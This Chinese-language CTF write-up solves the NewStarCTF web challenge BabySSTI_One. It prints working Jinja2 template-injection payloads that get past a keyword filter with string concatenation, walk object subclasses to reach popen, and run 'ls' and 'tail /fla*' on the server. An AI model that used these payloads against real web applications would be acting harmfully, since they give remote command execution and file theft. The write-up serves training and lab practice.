文章总结： 本文为NewStarCTF公开赛赛道Web题目BabySSTIOne的解题记录。题目考察SSTI服务端模板注入漏洞利用，涉及WAF绕过、字符串拼接、获取object基类及子类、查找os.wrap_close类并执行系统命令。通过拼接绕过关键字过滤，使用tail替代cat、通配符替代flag路径实现命令执行，最终读取文件获取flag。文章步骤清晰，具备可操作性。
综合评分： 72
文章分类： CTF,WEB安全,漏洞分析,渗透测试
[NewStarCTF 公开赛赛道]BabySSTI_One
原创
devildollking
devildollking
熔城Sec
2026年9月21日 09:00
辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
题目简介
- 题目名称：[NewStarCTF 公开赛赛道]BabySSTI_One
- 题目平台：CTF²
- 题目类型：Web
02
解题步骤
启动靶机
查看网页源代码，发现存在waf
判断是否存在ssti
?name={{().__class__}}
发现被过滤，使用拼接绕过
?name={{()['__cla'+'ss__']}}
通过相同的方法获取object
?name={{()['__cla'+'ss__']['__ba'+'se__']}}
#
获取所有子类
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()}}
查找
执行ls命令
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls${IFS}/')['read']()}}
因为cat 和 flag被过滤，所以进行替换，cat换成tail,/flag_in_here换成fla*
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('tail /fla* ')['read']()}}
#
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：熔城Sec devildollking
devildollking《[NewStarCTF 公开赛赛道]BabySSTI_One》